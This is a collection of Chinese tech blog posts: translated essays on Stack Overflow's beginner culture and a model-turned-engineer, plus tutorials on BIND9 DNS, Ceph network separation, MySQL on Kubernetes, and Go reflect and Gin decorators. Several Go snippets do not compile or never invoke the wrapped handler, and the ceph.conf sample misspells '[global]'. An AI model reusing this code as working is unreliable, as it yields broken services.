上没有太简单而不该问的问题......只要在问之前做足功课。我们也清楚这样做的风险,部分更资深的用户会因为厌烦重复的问题而离开,我们觉得这没问题,毕竟 Stack Overflow 也没提供啥终身相守的承诺是吧。如果因厌倦新人们总是问为啥不能返回本地数组(“但对我来讲,不是个事啊!”)而离开,他们还是会把余生贡献在更有价值的事情上,比如整理收藏的唱片专辑啥的。 刚刚起步不意味着不能在 Stack Overflow 上发问,为了证明这点,我特意在 Stack Overflow 上问了一个很初级的问题,来证明网站设是欢迎初学者的。因为非预期结果定律,这个问题还造成了不小的骚动,倒不是因为问题太简单了,真正的问题是我提问的态度不端正,Jeff Atwood 是这样说的:“简单没毛病,不下功夫研究可不行。”(亦见于此) Stack Overflow 上提问为何如此麻烦 image 在 Stack Overflow 上问第一个问题时,新人们通常会感到这过程太复杂、太漫长了,有这个必要吗,这简直是在虐人啊。这个过程有点像点像火人节:报名时大家想的只是想参加沙漠里一场超酷的舞会,但过来人都抱怨那该死的火人节十律;而且这舞会也太疯了,跟邪教也相差不远了吧?这还不算完,刷碗的脏水一滴也不能倒,得像对待珍贵的圣水一样,随身带回家,七天的脏水,大家感受一下。每个社区都有许多规矩,有的古怪,有的讨喜,当然了,当你拼命修 bug 时,这些规矩就显得有点不太友好了。 许多火人节重要的规则都显得专横,但确实很必要。比如,美国土地管理局(他们负责审批火人节的沙漠用地)要求不能将污水倒在沙漠地面上,因为沙漠环境不能很好的吸收污水,这会造成各种疾病和未知的问题。但是谁在乎规则后面复杂的背景呢,所以很多正当的理由,在参与者眼里就变得很武断了。对于 Stack Overflow 也是一样,比如,我们不允许问太宽泛的问题(例如,我该怎么学编程?)我们的大原则是,如果问题需要一本书那么厚的答案,那这个问题就不太合适了。这种问题就感觉就像在一个医学网站上问:“我肾有点疼,怎么才能把它切除了?”这太荒唐了,将心比心,花了十年才当上外科大夫的人看到这种问题该怎么想。 Stack Overflow 未来的发展和挑战 当我们培育下一代的开发人员时,希望从下一代中看到更多的多样性和包容性,但有件事我非常担心,其实我们为下一代学习编程设下了不少的障碍。从很多方面来讲,Stack Overflow 设立的种种规则,都是障碍。但更大的问题是,新人提问时,老手们表现出来的粗鲁、尖刻和优越感。我个人是很看重这点的,成为一名开发人员给了人们无以伦比的编写未来的机会,而 Stack Overflow 上对新人们的严厉批评,对人们、社会和 Stack Overflow 自身都是有害的,因为这赶走了潜在的未来贡献者。编程已经够难了,我们的任务应该是让它变的简单一点。 未来几年,我们在这方面规划了很多事情,我们不能改变所有人,我们不可能强迫人们变的友好,但是我想我们可以改进某些 Stack Overflow 的用户界面,鼓励更友好的行为,例如我们可以改进“提问”页面的提示语,我们也可以为缓和社区里的过激评论做更多的努力,但目前是没有任何审查的。 结语 Trading protocol 我们也在开发一些新功能:可以把问题直接发送到用户建立的小组里,在这个更小、更私人化的环境里,可以让用户感受到比 Stack Overflow 大环境中更友好的体验。即使我们想把 Stack Overflow 做的更友好,我们的主要目标还是要把 Stack Overflow 打造成世界上最好的软件开发人员的资料库。世界上平均每个程序员会从 Stack Overflow 获得 340 次帮助,我们已经达成了目标,当然还有其他学习编程和求助的资源,但只有 Stack Overflow 在开发人员在心中如此重要,其中信息值得存留——就像编程世界里的美国国会图书馆(如果要以书籍的标准来要求问题和答案的话,自然要设立一定的规矩和门槛)。
Madison Kanna 007 的小伙伴们大多反应看不懂我写的技术文章,对于这点我也很头痛,我写的是偏记录和教程方向的,如何才能让非相关领域的朋友看懂,真不是个简单的事情。直到我在 Medium.com 看到 Madison Kanna(题图就是她本人的靓照)的故事,我开始意识到也许是思路有问题,努力的方向可能就不对,软件工程师也有除了专业以外的生活和成长,这些可能比技术本身还要精彩,与其把难懂的技术说的通俗易懂,不如把大家都可以理解的故事讲出来。Madison 的故事就足够精彩,让我们来看看这位漂亮小姐姐是怎样从时尚模特转行到软件工程师的吧。 附上原文链接:How I went from fashion model to software engineer in 1 year PS:搬运过来前,已征得 Madison Kanna 的同意。 以下是我的渣翻译: 2015 年我对编程还一无所知,现在我是一名软件工程师,并在学校教孩子们如何编写程序了。 大家常会问我:你是如何在没有任何专业背景的前提下,成为一名软件工程师的?我还是先介绍一下自己吧,我从小在家自学,大学之前几乎没上过学校,大学也中途退学。退学后,我成了一个时尚品牌的模特,那时我完全不知道将来要作何打算。但我的姐姐是一名软件工程师,而且她超爱她的工作。所以我也在一个网站上学习了《计算机科学入门》,发现自己对计算机很有兴趣,从此以后编程就是我最大的爱好了。我想成为一名软件工程师,但深知这恐怕是我面临的最大挑战了,但我下定决心一试,我想让梦想照进现实。如果你热爱编程,如果你一直朝着成为一名开发人员的方向努力,你就会成功的,无论之前你是什么背景,这就是我如何做到的。 找到最佳的学习方法 自学编程几个月后,我知道自己需要更进一步了,于是申请了几个编程训练营,在那里,我意识到获得编程技能的最佳方式不是学习,而是工作。找到最有效的学习方式对我是巨大的帮助,对于其他人,最好的方式也许是在训练营中充分学习,也许是业余时间在线编程,而对于我,则是直接找一个软件工程师的实习岗位。 但,上哪去找呢? 打造个人品牌 我知道我需要的是工作中的编程经验,所以我注册了 Praxis,这是一个为年轻人提供在初创公司实习机会的项目,但是 Praxis 主要提供市场和销售类的岗位,所以我决定自己找实习机会,同时通过 Praxis 帮助我建立个人品牌,增加成功的机会。Praxis 的 Simon 帮我准备面试和线上的展示。 我妈妈,企业家同时也是品牌专家,鼓励我写技术博客,在会议上发言,在 YouTube 上开自己的频道,并持续在 GitHub 输出。 我不停的分享自己的学习动态,最终在 Google 上搜索我时,你会立即发现我对编程的热情。 搜一下你自己,会发现些什么呢? 免费工作 开始时,我是想找一个带薪岗位的,但很快发现如果不要工资,会有更大的机会。我找到了一个不错的创业公司,然后毛遂自荐:我可以免费实习几个月,根据表现来决定是否留用。这家公司同意了,接下来几个月,我比以往任何时候都要努力。 即使是改个小 bug,我也非常兴奋。慢慢的,我感觉到,即使还没有足够的技能,每个人都意识到了我学习的热情和成为团队一员的渴望,最终我得到了实习的机会。虽然拿不到一分钱,但比起之前挣钱的工作,我更喜欢这里。 利用好自己的非专业背景 一开始,我是不想强调我的非专业背景的,我有点担心,作为女程序员就已经够不受待见了,更别提还没有计算机背景了,但我妈妈开导我:接受你自己,把以前的经历变成优势。 在争取我的第一份实习经历时,我就明说可以为公司做任何事,我谈到了在妈妈公司工作时获得的各种技能,以及在学习开发过程中,我能如何用这些技能帮助公司,我可不是只想成为一名软件实习生。第一周,我什么活都干,比如上传 YouTube 视频、写代码、复印材料等。 许多创业公司想要渴望学习并搞定事情的人,可不只是写代码,所以即使不是本专业,之前工作中学到的技能也会排得上用场。 实习几个月后,公司的 CEO,Bryan 在 Slack 上发了一条消息:“Madison,我司期待你的加入。” 我升为了初级开发,有生以来第一次,我靠写代码挣钱了。 让黑子们成为你的动力 很多次,和别人说起我要努力成为一名软件工程师时,他们都看着我说:“你?工程师?不是吧?” 有一段时间,这让我很受伤,慢慢的,我发现不能让别人的话影响到我。每次听到这些,我都会回家开始编程,把这些话当做前进的动力。总会有人说,这事你做不来,如果无视他们,继续努力,就会养成对自己的信任,你的决心也会变得不可阻挡。 另一方面,有人支持和相信是极大的助力。没有家人的帮助,我是不可能达成目标的。 Just keep swimming 持续编程 获得初级开发岗位,是我做过最难也是收获最大的事情。我的经验是,专注对编程的热爱,坚持下去,就会成功的,无论你的起点在哪里。 所以,你还在等啥?让我们一起编码吧!
DNS 1. 简介 本文使用 BIND9,用尽量少的步骤,搭建出一个可用的内网 DNS 服务。另外要说明的一点是,本文不仅适用于 Ubuntu 16.04,也使用其后的 Ubuntu 系统(截止到目前位置,最新的 Ubuntu server 版本是 18.04,之后的版本无法保证)。 2. 配置极简内网 DNS 服务 2.1 安装 BIND9 先更新 APT,之后再安装 BIND9 相关的软件包: $ sudo apt update $ sudo apt install bind9 bind9utils bind9-doc 2.2 配置 BIND9 的 IPv4 模式 这步是要将 BIND9 设置为只支持 IPv4 地址,如果需要用到 IPv6 地址的话,可以跳过这步。 我们需要修改 BIND9 的 systemd unit file: $ sudo systemctl edit --full bind9 当然我们也可以直接用文件编辑器修改文件: $ sudo vim /etc/systemd/system/multi-user.target.wants/bind9.service 文件内容如下,在 ExecStart 这行的最后加上 -4 就可以了。 ... [Service] ... ExecStart=/usr/sbin/named -f $OPTIONS -4 ... 修改配置后,需要重启 BIND9,因为 systemd 的 unit file 也变了,所以需要重新载入: $ sudo systemctl daemon-reload $ sudo systemctl restart bind9 2.3 修改配置文件 named.conf.options 该文件(/etc/bind/named.conf.options)需要修改三处: acl 部分:acl 是控制哪些客户端可以连接到这个 DNS 上的,支持子网掩码方式,例子中我把 10.19.250.0/24 网段中的所有 IP 都设为了可访问。 recursion 字段:设置成 yes,表示允许递归 DNS 查询。 allow-recursion 字段:允许递归查询的客户端范围,这里设置成了之前在 acl 中声明的 trusted。 listen-on 字段:表示 DNS 服务监听在哪个地址上,填写本地 IP 即可。 allow-transfer 字段:设置成 none 表示不允许其他 DNS 服务器从本 DNS 服务器中查询。 forwarders 字段:原因是我们的内网 DNS 服务只提供了很有限的几条 DNS 记录,如果不做点什么的话,APT 源的地址都解析不了。BIND9 提供 DNS 查询的转发机制,当本地 DNS 查询不到,将查询转发到 forwarders 上,并把查询结果缓存到本地 DNS 上,这样问题就解决了。本文使用的是国内公网 DNS:114.114.114.114,大家可以根据自己的需求进行修改。 $ cat /etc/bind/named.conf.options acl "trusted" { 10.19.250.0/24; }; ... options { recursion yes; allow-recursion { trusted; }; listen-on { 10.19.250.56; }; allow-transfer { none; }; ... forwarders { 114.114.114.114; }; ... } ... 2.4 修改配置文件 named.conf.local 假设搭建的内网 DNS 要解析的域名为 example.com,那么 /etc/bind/named.conf.local 内容应改为: $ cat /etc/bind/named.conf.local zone "example.com" { type master; file "/etc/bind/zones/db.example.com"; }; 2.5 修改 zone 文件 zone 文件在 2.4 里已经出现过了,file "/etc/bind/zones/db.example.com";,需要在对应的目录下建立该文件。 $ cat /etc/bind/zones/db.example.com $TTL 604800 @ IN SOA testing.example.com. admin.example.com. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; A records @ IN NS epc.example.com. example.com. IN NS epc.example.com. epc.example.com. IN A 10.19.250.201 testing.example.com. IN A 10.19.250.201 需要注意的几点是: 不要漏掉域名后面的点,例如:testing.example.com. 我们需要的 A 类型的记录,但是 NS 类型的记录也不要漏掉,不然会报错的。 named-checkconf[39493]: zone example.com/IN: has no NS records named-checkconf[39493]: zone example.com/IN: not loaded due to errors. named-checkconf[39493]: _default/example.com/IN: bad zone SOA 类型的记录目前我还不能确定是不是必须,待验证过后再做更新,在这之前,大家还是也把这部分加上吧。 2.6 检查 DNS 配置 bind9 自带了检查配置文件语法正确性的工具,这可以降低排查错误的难度,所以在进一步测试 DNS 功能之前,我们先来好好利用这些工具检查一下前几步配置是否正确吧。 先来检查 named.conf.* 文件,如果运行该命令没有任何输出的话,就说明配置一切 OK,如果有的话,根据提示修改,如果遇到问题不知道怎么解决,欢迎留言。 $ sudo named-checkconf 接下来用命令 named-checkzone 检查 zone 文件,命令格式如下:sudo named-checkzone <domain-name> <zone-file>,第一个参数 <domain-name> 是域名,参考 2.4 中配置的域名,第二参数 <zone-file> 是 zone 文件,参考 2.5 中配置的 zone 文件。 $ sudo named-checkzone example.com /etc/bind/zones/db.example.com zone example.com/IN: loaded serial 2 OK 如果输出结果如上,恭喜,配置正确,如果有问题的话,还是要根据提示具体问题具体分析。 2.7 验证 经过这些配置,终于可以验证一下 DNS 是否能正常工作了,先重启 bind9。 $ sudo systemctl restart bind9.service 接下来要用 nslookup 检查刚刚配置的域名能否正常解析,如果系统里没有这个命令,输入一下命令安装: sudo apt install -y dnsutils 输入以下命令,可以看到 testing.example.com 正确的解析成了 10.19.250.201。恭喜,你成功的配置了 DNS! $ nslookup testing.example.com Server: 10.19.250.56 Address: 10.19.250.56#53 Name: testing.example.com Address: 10.19.250.201 3. 参考资料 How To Configure BIND as a Private Network DNS Server on Ubuntu 16.04 Forward DNS lookup's definition DNS for Rocket Scientists
luminous.jpg 1. 为什么要做内外网分离 先明确一下这么做的必要性。Ceph 的客户端,如 RADOSGW,RBD 等,会直接和 OSD 互联,以上传和下载数据,这部分是直接提供对外下载上传能力的;Ceph 一个基本功能是提供数据的冗余备份,OSD 负责数据的备份,跨主机间的数据备份当然要占用带宽,而且这部分带宽是无益于 Ceph 集群的吞吐量的。只有一个网络,尤其是有新的存储节点加入时,Ceph 集群的性能会因为大量的数据拷贝而变得很糟糕。所以对于性能有一定要求的用户,还是有必要配置内外网分离的。 2. 如何配置 Ceph 内外分离网络结构 建立内网是为了降低 OSD 节点间数据复制对 Ceph 整体的影响,那么只要在 OSD 节点上加内网就可以了,上图非常清晰的描述了内网和外网覆盖的范围。 做内外网分离,必不可少的前提条件是 OSD 服务器上必须有两张可用的网卡,并且网络互通,确保这点我们就可以开始了。别以为是废话哈,我在配置时,就是因为有台 OSD 服务器网卡丢包严重,分析了好长时间才找到原因的。 2.1 iptables 配置 如果 Linux 服务器上开启了防火墙,就有必要配置 iptables 规则,让服务器的防火墙放开对 OSD 新开放的 端口限制。 # Monitor 服务器 $ sudo iptables -A INPUT -i {iface} -p tcp -s {ip-address}/{netmask} --dport 6789 -j ACCEPT # MDS 和 MGR 服务器 $ sudo iptables -A INPUT -i {iface} -m multiport -p tcp -s {ip-address}/{netmask} --dports 6800:7300 -j ACCEPT # OSD 服务器 $ sudo iptables -A INPUT -i {iface} -m multiport -p tcp -s {ip-address}/{netmask} --dports 6800:7300 -j ACCEPT 2.2 修改 ceph.conf 先上修改好的例子。 [golbal] ... public_network = 10.19.250.0/24 cluster_network = 10.19.251.0/24 ... [osd.0] host = osd5 public_addr = 10.19.250.35 cluster_addr = 10.19.251.35 [osd.1] host = osd5 public_addr = 10.19.250.35 cluster_addr = 10.19.251.35 ... 配置并不复杂,主要就是两段: [global] 中需要新增 cluster_network 字段,这个对应的就是内网,填写内网的子网掩码就可以了。public_network 对应的是外网。 [osd.*],这部分是针对每个 OSD 进程的,如果 OSD 进程多的话,确实有点繁琐,目前我还没找到更为简洁的方法。host 字段要填写 OSD 进程所在服务器的主机名,通过 hostname -s 来查询。public_addr 填写所在主机的外网地址,cluster_addr 则填写主机的内网地址。 配置修改好后,就需要把配置上传到服务器上了,配置 Ceph 环境,通常都是使用 ceph-deploy,现在也可以用这个命令上传配置。 ceph-deploy --overwrite-conf config push [<host-name>...] 最后,配置需要重启 ceph 相关的进程才能生效。 # OSD 服务器上需重启全部 OSD 进程 sudo systemctl restart ceph-osd@* # Monitor 服务器 sudo systemctl restart ceph-mon@* # Manager 服务器 sudo systemctl restart ceph-mgr@* # metadata 服务器 sudo systemctl restart ceph-mds@* 3. 参考链接: ceph.com: Network configuration reference ceph.com: Achitecture ceph.com: mon osd interaction
MySQL in Kubernetes 最近因为工作上的需求,搭建了一套部署在 Kubernetes 环境中的 MySQL,可能听起来就是让 MySQL 的 docker image 跑在 Kubernetes 里,应该没什么难度,可实际操作起来,这其实是相当复杂的一个工程:首先要有 Kubernetes 集群,才能谈得到部署应用进去;其次,MySQL 不同于无状态的应用,其中的数据是非常关键的,必须要保证其可用性,这就要求必须有高可靠性的存储集群来存储数据;再者由于众所周知的网络原因,Kubernetes 和 docker 相关的镜像想拿到非常不方便;最后,MySQL 在 cloud native 环境同样需要做主备和高可用的配置。 我计划写一系列文章将自己的经验总结出来,从头到位将这一系列事情讲清楚,并尽量保证感兴趣的朋友可以按照我写的步骤将一个可用的环境搭建出来。 目录 以下是我以后写作的计划和链接,欢迎大家多提意见: 一:简介 二:在 cloud native 环境下配置 MySQL 的几个关键点 三:使用 minikube 部署单节点 Kubernetes 四:使用 kubeadm 部署多节点 Kubernetes 集群 五:手动搭建 Kubernetes 集群 六:使用 ceph-deploy 搭建 ceph 集群 七:部署 RADOSGW、RBD 和 CephFS 八:部署 MySQL,使用 PC、PVC 作为存储 九:部署 MySQL,使用 StorageClass 作为存储 十:使用 StatefulSet 部署主从同步的 MySQL 十一:Vitess 和 Gelera 简介 十二:使用 Ingress 让 MySQL 可以在 Kubernetes 集群外访问 一:简介 作为系列的第一篇,我想写一下解决这个问题的思路,并对用到的开源项目做简要的介绍。 现在越来越流行将各种各样的软件部署在容器环境当中,而非虚拟机环境中,一方面原因是容器环境对于硬件的资源利用率更高,对于云服务来讲更为节省成本;而且容器环境对于微服务架构的支持有着非常明显的优势,微服务化是软件系统演进的一个主要趋势;另外可能就是因为 Kubernetes 提供的大量简单易用的容器调度方式了,虽然 Kubernetes 之前也有一些竞争对手,不过现在的趋势来看 Kubernetes 已经是毫无疑问的胜出者,是事实上的行业标准。那么做容器化,做 cloud native,Kubernetes 是平台的不二选择。 那么为什么要把 MySQL 放进 Kubernetes 里呢?首先 MySQL 是极为重要的,它是开源免费的关系型数据库的首要选择,软件系统如果要用关系型数据库,且不考虑 Oracle 等付费软件的话,除了 MySQL 外,基本是不会做他想了(也许 Windows 环境下会考虑 SQL Server),而现在流行的软件设计方式都是让应用成为无状态,不存储任何数据,数据都放在数据库里,所以 MySQL 有多重要也就不言而喻了。其次还是因为 Kubernetes 非常强大,将 MySQL 放在里面运行,绝大部分情况下就不需要人工干预了,MySQL 进程死掉,会自动再启动新的实例;会把 MySQL 的多个实例分布在不同的服务器上,避免一个服务器出问题,功能不可用;需要多少个 MySQL 实例,系统会自动保证有多少实例在运行......如果这些事情要放在虚拟机环境中,恐怕只能是通过监控系统检测,出现问题手工干预了。 我们已经理解了为什么要把 MySQL 放进 Kubernetes 里,接下来要考虑如何去做。把 MySQL 封装成容器,跑在容器 runtime 里,并让 Kubernetes 系统来调度,这件事本身不难,MySQL 官方已经做好了 MySQL 的 Dockerfile 和 docker image,只需要写个 yaml file 让 MySQL 跑在 Kubernetes 里就行了。但 MySQL 的独特性在于,MySQL 里面的数据是非常重要的,不能像其他软件一样,出了问题直接删掉,再启动一个实例就行了,业务数据丢失可是非常严重的问题。所以要把数据存放在安全可靠的地方,数据外挂有多种方案,这系列文章中选用的是 Ceph RBD,Ceph 是目前开源分布式存储系统中,最为流行的,RBD 是其中的块存储方案。 Kubernetes 是 Google 贡献给开源的软件,所以 Kubernetes 相关的资源自然都是存储在 Google 的服务器上,因为众所周知的原因,正常情况下我们是没法访问到的,为了让读者可以跟着做下去,我会把教程中用到的资源全部下载下来,放在国内可以访问到的服务器上,系列文章中 Kubernetes 对应的版本为 1.10.2,如果有其他版本的需求,大家可以联系我。 最后 MySQL 服务已经就为了,如果只是在 Kubernetes 集群内使用的话,已经没有任何问题了,但是如果要对外开放的话,目前还做不到,原因是 Kubernetes 内部网络不对外开放,那么如何让 MySQL 可以被外面访问到呢?Kubernetes 提供了 NodePort、Load Balance 和 Ingress 三种方式,系列文章的最后会重点谈到如何使用 Ingress。
Go reflect 为何需要使用 reflect 获取:减少重复代码 1. API 接口中抽取参数的逻辑大量重复 API 接口自然是要获取传过来的数据,不同接口要获取的数据自然也不一样,如果不做特殊处理,必然是每个接口都有一堆功能重复的从 request 里获取参数的代码。 2. API 框架提供的抽取参数的方式并不满足需求 当然 API 框架会提供这些功能,不过有些情况不能满足需求,比如gin-gonic,提供了将将 request 转为对应结构体的函数,但存在两个问题,第一个问题是参数区分大小写,我觉得应该实现大小写的通配,这样健壮性更高;第二是结构体直接对应数据库表结构,部分数据是不应该从接口请求中读取的,比如创建时间和删除标志,全转换的方式就很有问题。 不过也有可能是因为我对 gin 不熟悉,不知道更好的用法,才自己造轮子,如果大家有更简洁漂亮的写法,请不吝赐教。 3. Golang 强类型语言的限制 Go 语言是强类型语言,函数间传递参数或者返回值,必须有特定的类型,如果要实现这种范类型的处理相对 Python 等弱类型的语言要困难一些。 Python 对于 struct 参数没有严格的限制,传什么内容都行,Golang 就没那么友好了,这部分要靠范型来处理。 # struct 是要获得的数据结果,params 是要抽取的参数名称数组,request 是接口的请求结构体。 def ExtractParamFromBody(struct, params, request): ... 还有一点就是要能获取到 struct 结构体中每个参数的类型,并且给其赋值,Golang 提供的 reflect 机制可以很好的完成这项功能。 4. 实例 以下代码先是建立了数据库连接(请注意,数据的连接需要提前建立好,并按照代码中的用户名、密码、地址、端口和数据库名称建立,不然代码无法运行成功);之后在数据库中建立了一个叫 User 的表;之后有一个创建用户的接口 "POST /users",对应的函数为 CreateUser。 ExtractParamFromBody 是通用的参数抽取函数,不光是 User 类型,interface{} 是 Golang 中范型,可以对应任何结构体。 package main import ( "fmt" "reflect" "strconv" "strings" "github.com/gin-gonic/gin" "github.com/jinzhu/gorm" ) type User struct { ID uint `json:"id" gorm:"PRIMARY_KEY;AUTO_INCREMENT"` Name string `json:"name" gorm:"INDEX:name;UNIQUE;NOT NULL;type:varchar(100)"` Password string `json:"password" gorm:"NOT NULL"` Mobile string `json:"mobile"` Email string `json:"email"` Role_id uint `json:"role_id"` Create_Time uint `json:"create_time"` Login_Time uint `json:"login_time"` Last_Login_Time uint `json:"last_login_time` Login_Count uint `json:"login_count"` Deleted bool `json:"deleted" gorm:"DEFAULT:0"` } var db *gorm.DB var err error func ExtractParamFromBody(s interface{}, params []string, c *gin.Context) { var typ reflect.Type var val reflect.Value ptyp := reflect.TypeOf(s) if ptyp.Kind() == reflect.Ptr { val = reflect.ValueOf(s).Elem() typ = reflect.TypeOf(s).Elem() } else { val = reflect.ValueOf(s) } for _, param := range params { ret := c.PostForm(param) if ret != "" { for i := 0; i < typ.NumField(); i++ { if strings.ToLower(typ.Field(i).Name) == param { if val.Field(i).Kind() == reflect.String && val.CanSet() { val.Field(i).SetString(ret) } else if val.Field(i).Kind() == reflect.Uint && val.CanSet() { ret_int, _ := strconv.Atoi(ret) val.Field(i).SetUint(uint64(ret_int)) } } } } } } func InitMysql() *gorm.DB { mysql_connection_string := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?charset=utf8&parseTime=True&loc=Local", "root", "mysql", "127.0.0.1", "3306", "test_db") db, err = gorm.Open("mysql", mysql_connection_string) if err != nil { log.Logger.Critical("Fail to connect MySQL: %s. Exit.", err) os.Exit(5) } db.AutoMigrate(&User{}) return db } func CreateUser(c *gin.Context) { var user mysql.User params := []string{"name", "password", "email", "mobile", "role_id"} ExtractParamFromBody(&user, params, c) if err := db.Create(&user).Error; err != nil { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": "Fail to create user", }) } else { c.JSON(200, gin.H{ "code": 0, "result": "success", "msg": "success", "resultBean": user, }) } } func main() { InitMysql() r := gin.Default() r.POST("/v1/users", CreateUser) r.Run(":8080") }
Golang 开发 API server Go 语言是由谷歌主导并开源的编程语言,和 C 语言有不少相似之处,都强调执行效率,语言结构尽量简单,也都主要用来解决相对偏底层的问题。因为 Go 简洁的语法、较高的开发效率和 goroutine,有一段时间也在 Web 开发上颇为流行。由于工作的关系,我最近也在用 Go 开发 API 服务。但对于 Golang 这种奉行极简主义的语言,如何提高代码复用率就会成为一个很大的挑战,API server 中的大量接口很可能有完全一致的逻辑,如果不解决这个问题,代码会变得非常冗余和难看。 Python 中的装饰器 在 Python 中,装饰器功能非常好的解决了这个问题,下面的伪代码中展示了一个例子,检查 token 的逻辑放在了装饰器函数 check_token 里,在接口函数上加一个 @check_token 就可以在进入接口函数逻辑前,先检查 token 是否有效。虽然说不用装饰器一样可以将公共逻辑抽取出来,但是调用还是要写在每个接口函数的函数体里,侵入性明显大于使用装饰器的方式。 # 装饰器函数,用来检查客户端的 token 是否有效。 def check_token(): ... @check_token # 接口函数,用来让用户登陆。 def login(): ... @check_token # 接口函数,查询用户信息。 def get_user(): ... Go 中装饰器的应用 Go 语言也是可以使用相同的思路来解决这个问题的,但因为 Go 没有提供象 Python 一样便利的语法支持,所以很难做到像 Python 那样漂亮,不过我觉得解决问题才是更重要的,让我们一起来看看是如何做到的吧。 以下的 API 服务代码示例是基于 Gin-Gonic 框架,对 Gin 不太熟悉的朋友,可以参考我之前翻译的一篇文章:如何使用 Gin 和 Gorm 搭建一个简单的 API 服务器 (一) 本文中的代码为了方便展示,我做了些简化,完整版见于 https://github.com/blackpiglet/go-api-example 简单示例 Go 语言实现装饰器的道理并不复杂,CheckParamAndHeader 实现了一个高阶函数,入参 h 是 gin 的基本函数类型 gin.HandlerFunc。返回值是一个匿名函数,类型也是 gin.HandlerFunc。CheckParamAndHeader 中除了运行自己的代码,也调用了作为入参传递进来的 h 函数。 package main import ( "fmt" "github.com/gin-gonic/gin" ) func CheckParamAndHeader(h gin.HandlerFunc) gin.HandlerFunc { return func(c *gin.Context) { header := c.Request.Header.Get("token") if header == "" { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": ". Missing token", }) return } } } func Login(c *gin.Context) { c.JSON(200, gin.H{ "code": 0, "result": "success", "msg": "验证成功", }) } func main() { r := gin.Default() r.POST("/v1/login", CheckParamAndHeader(Login)) r.Run(":8080") } 装饰器的 pipeline 装饰器的功能已经实现了,但如果接口函数需要调用多个装饰,那么函数套函数,还是比较乱,可以写一个装饰器处理函数来简化代码,将装饰器及联起来,这样代码变得简洁了不少。 package main import ( "fmt" "github.com/gin-gonic/gin" ) func Decorator(h gin.HandlerFunc, decors ...HandlerDecoratored) gin.HandlerFunc { for i := range decors { d := decors[len(decors)-1-i] // iterate in reverse h = d(h) } return h } func CheckParamAndHeader(h gin.HandlerFunc) gin.HandlerFunc { return func(c *gin.Context) { header := c.Request.Header.Get("token") if header == "" { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": ". Missing token", }) return } } } func CheckParamAndHeader_1(h gin.HandlerFunc) gin.HandlerFunc { return func(c *gin.Context) { header := c.Request.Header.Get("auth") if header == "" { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": ". Missing auth", }) return } } } func Login(c *gin.Context) { c.JSON(200, gin.H{ "code": 0, "result": "success", "msg": "验证成功", }) } func main() { r := gin.Default() r.POST("/v1/login", Decorator(CheckParamAndHeader, CheckParamAndHeader_1, Login)) r.Run(":8080") } 根据接口名称判断用户是否有权限访问 API 服务程序可能会需要判断用户是否有权限访问接口,如果使用了 MVC 模式,就需要根据接口所在的 module 和接口自己的名称来判断用户能否访问,这就要求在装饰器函数中知道被调用的接口函数名称是什么,这点可以通过 Go 自带的 runtime 库来实现。 package main import ( "fmt" "runtime" "strings" "github.com/gin-gonic/gin" ) func Decorator(h gin.HandlerFunc, decors ...HandlerDecoratored) gin.HandlerFunc { for i := range decors { d := decors[len(decors)-1-i] // iterate in reverse h = d(h) } return h } func CheckParamAndHeader(h gin.HandlerFunc) gin.HandlerFunc { return func(c *gin.Context) { header := c.Request.Header.Get("token") if header == "" { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": "Missing token", }) return } } } func CheckPermission(h gin.HandlerFunc) gin.HandlerFunc { return func(c *gin.Context) { function_name_str := runtime.FuncForPC(reflect.ValueOf(input).Pointer()).Name() function_name_array := strings.Split(function_name_str, "/") module_method := strings.Split(function_name_array[len(function_name_array)-1], ".") module := module_method[0] method := module_method[1] if module != "Login" { c.JSON(200, gin.H{ "code": 2, "result": "failed", "msg": "No permission", }) return } } } func Login(c *gin.Context) { c.JSON(200, gin.H{ "code": 0, "result": "success", "msg": "验证成功", }) } func main() { r := gin.Default() r.POST("/v1/login", Decorator(CheckParamAndHeader, CheckPermission, Login)) r.Run(":8080") } 向装饰器函数传参 接口可能会有要求客户端必须传某些特定的参数或者消息头,而且很可能每个接口的必传参数都不一样,这就要求装饰器函数可以接收参数,不过我目前还没有找到在 pipeline 的方式下传参的方法,只能使用最基本的方式。 package main import ( "fmt" "runtime" "strconv" "strings" "github.com/gin-gonic/gin" ) func CheckParamAndHeader(input gin.HandlerFunc, http_params ...string) gin.HandlerFunc { return func(c *gin.Context) { http_params_local := append([]string{"param:user_id", "header:token"}, http_params...) required_params_str := strings.Join(http_params_local, ", ") required_params_str = "Required parameters include: " + required_params_str fmt.Println(http_params_local, required_params_str, len(http_params_local)) for _, v := range http_params_local { ret := strings.Split(v, ":") switch ret[0] { case "header": header := c.Request.Header.Get(ret[1]) if header == "" { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": required_params_str + ". Missing " + v, }) return } case "param": _, err := c.GetQuery(ret[1]) if err == false { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": required_params_str + ". Missing " + v, }) return } case "body": body_param := c.PostForm(ret[1]) if body_param == "" { c.JSON(200, gin.H{ "code": 3, "result": "failed", "msg": required_params_str + ". Missing " + v, }) return } default: fmt.Println("Unsupported checking type: %s", ret[0]) } } input(c) } } func CheckPermission(h gin.HandlerFunc) gin.HandlerFunc { return func(c *gin.Context) { function_name_str := runtime.FuncForPC(reflect.ValueOf(input).Pointer()).Name() function_name_array := strings.Split(function_name_str, "/") module_method := strings.Split(function_name_array[len(function_name_array)-1], ".") module := module_method[0] method := module_method[1] if module != "Login" { c.JSON(200, gin.H{ "code": 2, "result": "failed", "msg": "No permission", }) return } } } func Login(c *gin.Context) { c.JSON(200, gin.H{ "code": 0, "result": "success", "msg": "验证成功", }) } func main() { r := gin.Default() r.POST("/v1/login", CheckParamAndHeader(CheckPermission(Login), "body:password", "body:name")) r.Run(":8080") } 到目前为止,已经实现了我对 API 服务器的基本需求,如果大家有更好的实现方式,烦请赐教,有什么我没想到的需求,也欢迎留言讨论。 本文主要参考以下两篇文章: GO语言的修饰器编程 Decorated functions in Go 尤其推荐左耳朵耗子的 GO语言的修饰器编程,里面还谈到了装饰器的范型,让装饰器更加通用。
